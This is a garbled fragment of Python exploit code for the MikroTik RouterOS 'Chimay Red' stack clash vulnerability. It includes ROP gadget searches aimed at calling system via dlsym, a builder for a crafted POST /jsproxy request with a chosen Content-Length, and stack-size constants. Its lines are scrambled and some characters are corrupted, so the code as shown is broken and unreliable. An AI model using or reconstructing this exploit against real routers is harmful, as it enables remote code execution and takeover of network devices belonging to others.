

# Gadget to jump on the result of dlsym (address of system) Gadgets = rop.search(regs=, move=(4*4)).address # Gadgets to clean the stack from arguments

Return bytes("POST /jsproxy HTTP/1.1\r\nContent-Length: ") + bytes(str(num)) + bytes("\r\n\r\n")ĭef ropCall(function_address, *arguments): ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain!ĪLIGN_SIZE = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into accountĪDDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chainĬontext(arch="i386", os="linux", log_level="WARNING") SKIP_SPACE = 0x1000 # 4 KB of "safe" space for the stack of thread 2

ROS_STACKSIZE = 0x20000 # newer version of ROS have a different stack size per thread (128 KB) # Mikrotik Chimay Red Stack Clash Exploit by wsxarcher (based on BigNerd95 POC)ĪST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
